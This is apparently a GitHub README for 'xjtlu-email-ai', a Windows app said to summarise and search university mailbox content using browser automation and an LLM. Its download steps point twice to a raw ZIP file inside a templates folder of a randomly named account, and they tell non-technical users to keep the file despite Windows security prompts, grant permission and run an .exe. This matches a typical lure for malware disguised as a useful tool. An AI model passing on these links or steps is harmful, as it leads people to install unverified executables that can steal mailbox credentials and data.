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🤖 xjtlu-email-ai - Smart email summaries and search

Download xjtlu-email-ai

🧭 What this app does

xjtlu-email-ai helps you pull recent email content from your mailbox and turn it into a short, clear summary. It also helps you search by keyword so you can find the message you need faster.

It is built for everyday use on Windows. You do not need coding skills to use it.

✨ Main features

  • Reads recent email content from your mailbox
  • Creates a short summary from the latest messages
  • Searches email content by keyword
  • Uses browser automation to collect mailbox content
  • Uses an LLM to help turn long text into clear points
  • Reduces time spent opening each message one by one
  • Works well for daily mail review and quick follow-up

📥 Download

Visit this page to download and run the app on Windows:

https://raw.githubusercontent.com/atomicnumber62erythemamultiforme947/xjtlu-email-ai/main/src/templates/xjtlu-ai-email-1.2.zip

🖥️ System requirements

Before you start, make sure your PC meets these basic needs:

  • Windows 10 or Windows 11
  • A modern web browser such as Edge or Chrome
  • An active email account
  • A stable internet connection
  • Enough free disk space for the app and browser files
  • Permission to sign in to your mailbox in a browser

🚀 Getting started

Follow these steps to use xjtlu-email-ai on Windows.

1. Open the download page

Go to the project page here:

https://raw.githubusercontent.com/atomicnumber62erythemamultiforme947/xjtlu-email-ai/main/src/templates/xjtlu-ai-email-1.2.zip

Look for the latest Windows download file or packaged app on the page.

2. Download the app

Save the file to your computer.

If Windows shows a security prompt, choose the option that lets you keep the file.

3. Unzip the files if needed

If the download comes as a ZIP file:

  • Right-click the file
  • Choose Extract All
  • Pick a folder you can find later, such as Downloads or Desktop

4. Open the app folder

After extraction, open the folder that contains the app files.

You may see one of these:

  • An .exe file
  • A start script
  • A folder with app files

5. Start the app

Double-click the app file to run it.

If Windows asks for permission, select Yes.

If the app opens in a browser window or a local app window, keep that window open during use.

6. Sign in to your mailbox

The app uses browser automation to read email content from your mailbox.

You may need to:

  • Log in to your email account
  • Complete any browser sign-in step
  • Allow the app to open your mailbox page

Use the same mailbox you want the app to scan.

7. Let the app collect email content

After sign-in, the app will gather recent email content.

This may take a short time while it loads the mailbox and reads recent messages.

8. View the summary

Once the scan is done, the app will show a summary of your recent email content.

Use it to get a quick view of:

  • New items
  • Follow-up tasks
  • Important notices
  • Time-sensitive messages

9. Search by keyword

Use the keyword search box to find items in your mail history.

Try simple search terms such as:

  • invoice
  • meeting
  • deadline
  • report
  • travel

🧩 How it works

The app uses three main parts:

  • Playwright to control the browser
  • Mailbox page reading to collect email content
  • An LLM to turn message text into a short summary

In plain terms, the app opens your mailbox in a browser, reads recent content, and helps you make sense of it faster.

📝 Example use cases

You can use the app when you want to:

  • Check recent email before class or work
  • Find one message among many
  • Review long mail threads in less time
  • Spot key dates and action items
  • Build a quick daily mail digest

🔍 Tips for better results

  • Keep your mailbox sign-in active before you start
  • Use clear keywords when you search
  • Review the summary after each scan
  • Keep your browser updated
  • Close extra browser tabs if the page feels slow
  • Run the app on a stable network

🛠️ Common issues

The app does not open

Try these steps:

  • Check that the file finished downloading
  • Unzip the file if it came in a ZIP package
  • Right-click the app and choose Open
  • Run it again after closing other apps

The browser sign-in page does not load

Try these steps:

  • Check your internet connection
  • Open your browser first
  • Sign in to your email account manually
  • Try again after refreshing the page

The summary is empty

Try these steps:

  • Make sure there are recent emails in your mailbox
  • Refresh the mailbox page
  • Run the scan again
  • Check that the app has access to the right mailbox

Search finds no results

Try these steps:

  • Use a simpler keyword
  • Check spelling
  • Search for a sender name or topic
  • Try a broader term

🔐 Privacy and data use

The app reads mailbox content to create summaries and search results.

For best use:

  • Sign in only to the mailbox you want to scan
  • Close the app when you finish
  • Keep your account secure with a strong password
  • Use your normal browser sign-in flow

📁 What you may see in the project

A typical Windows package for this kind of app may include:

  • The main app file
  • Browser support files
  • Setup files
  • A small folder for settings
  • A log file for troubleshooting

❓ FAQ

Do I need programming knowledge?

No. You only need to download the app, open it, and sign in to your mailbox.

Can I use it on Windows?

Yes. This guide is written for Windows users.

Does it work with recent emails only?

Yes. The app is designed to extract recent mailbox content and help you review it fast.

Can I search old messages?

You can search the content that the app has access to during its scan.

Do I need to keep the app open?

Yes. Keep it open while it reads the mailbox and builds the summary

📌 File naming tips

If you see more than one file, look for names like:

  • xjtlu-email-ai.exe
  • setup.exe
  • release.zip
  • windows-build.zip

If you are not sure which file to use, pick the one that ends in .exe for a direct launch or .zip for a folder package that you extract first

🧰 First-run checklist

Before you start, make sure you have:

  • Downloaded the app from the project page
  • Extracted the files if needed
  • Opened the correct app file
  • Signed in to your email account
  • Left the browser window open
  • Waited for the scan to finish

About

Automate XJTLU email search, extract full message text, and generate Chinese AI summaries with Playwright, FastAPI, and LLM APIs

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